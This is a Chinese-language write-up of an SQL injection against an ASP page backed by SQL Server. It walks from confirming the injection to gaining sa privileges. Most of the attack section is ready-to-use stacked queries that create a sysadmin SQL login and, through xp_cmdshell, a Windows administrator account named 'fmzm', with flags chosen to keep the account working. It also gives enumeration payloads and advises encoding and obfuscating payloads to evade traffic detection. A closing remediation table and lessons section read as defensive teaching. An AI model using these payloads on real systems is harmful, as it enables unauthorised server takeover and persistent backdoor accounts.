目標頁面:/new.asp?ID=49
測試序列與關鍵判斷:
| 步驟 | Payload | 響應 | 推斷 |
|---|---|---|---|
| 1 | ID=49' | JET 錯誤 '80040e14':字符串語法錯誤 | Access + 無過濾 + 字符型注入 |
| 2 | AND 1=1 | 正常返回 | 基準確認 |
| 3 | AND 1=2 | BOF/EOF 錯誤 '800a0bcd' | 邏輯判斷成立 → **確認注入** |
| 4 | AND USER>0 | ODBC 錯誤 '800a0bcd':將 nvarchar 值 **"dbo"** 轉換為 int 失敗 | **SQL Server + 當前用戶 = dbo (sa 權限)** → 可走 xp_cmdshell 路徑 |
關鍵結論:報錯顯示 dbo 而非普通用戶名,意味著 Web 應用使用 **sa (系統管理員)** 連接數據庫,擁有最高權限,可直接調用 xp_cmdshell、sp_addlogin 等擴展存儲過程實現系統級提權。
-- (1) 創建 SQL 登錄帳號 fmzm
;EXEC master.dbo.sp_addlogin 'fmzm';--
-- (2) 設置密碼
;EXEC master.dbo.sp_password NULL, 'fmzm', 'fmzm';--
-- (3) 加入 sysadmin 固定服務器角色 (獲得 SQL 最高權限)
;EXEC master.dbo.sp_addsrvrolemember 'fmzm', 'sysadmin';--
-- 若失效嘗試參數順序調整:
;EXEC master.dbo.sp_addsrvrolemember 'sysadmin', 'fmzm';--
-- (4) 創建系統用戶並加入 Administrators 組
;EXEC master.dbo.xp_cmdshell 'net user fmzm fmzm /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
;EXEC master.dbo.xp_cmdshell 'net localgroup administrators fmzm /add';--
| 參數 | 作用 |
|---|---|
/workstations:* | 允許從任意工作站登錄 |
/times:all | 允許全天候登錄 |
/passwordchg:yes | 允許用戶修改密碼 |
/passwordreq:yes | 要求密碼非空 |
/active:yes | 帳號啟用 |
缺少上述參數會導致帳號建立但無法登錄、被禁用、密碼過期等「隱形失效」問題。
xp_cmdshell 執行註冊表修改、服務啟動、防火牆放行。fmzm/fmzm 連接 1433 端口,執行任意 SQL、再調用 xp_cmdshell。xp_cmdshell、sp_addlogin、net user 等關鍵字進行流量檢測,實戰需編碼/混淆/分塊傳輸。
-- 獲取當前數據库名
;AND DB_NAME()>0--
-- 獲取服務器版本
;AND @@VERSION>0--
-- 列舉所有數據庫
;AND (SELECT COUNT(*) FROM master.dbo.sysdatabases WHERE dbid>4)>0--
| 風險點 | 嚴重度 | 修復措施 |
|---|---|---|
| Web 應用使用 sa 連接數據庫 | Critical | 創建專用低權限登錄,僅授予業務表 SELECT/INSERT/UPDATE/DELETE |
| ID 參數無參數化查詢 | Critical | ASP 使用 ADODB.Command + Parameters;ASP.NET 使用 SqlParameter |
| xp_cmdshell 開放給 PUBLIC | High | REVOKE EXECUTE ON xp_cmdshell TO PUBLIC;必要時刪除 sp_dropextendedproc 'xp_cmdshell' |
| 詳細錯誤信息回顯 | High | IIS 設置自定義 500 錯誤頁,web.config |
| 無 WAF/日誌審計 | Medium | 部署 ModSecurity + CRS,SIEM 收集 IIS/SQL 錯誤日誌告警 |
本案例完美展示了 **「注入點 → sa 權限確認 → 存儲過程鏈提權 → 系統管理員」** 的經典殺傷鏈。核心教訓:**數據庫連接帳號權限過大是放大注入危害的核心放大器**。即使存在注入點,若 Web 布號僅擁有業務表 DML 權限、禁用高危存儲過程,攻擊面將縮小 90% 以上。參數化查詢 + 最小權限 + 錯誤隱藏,三板斧打斷殺傷鏈。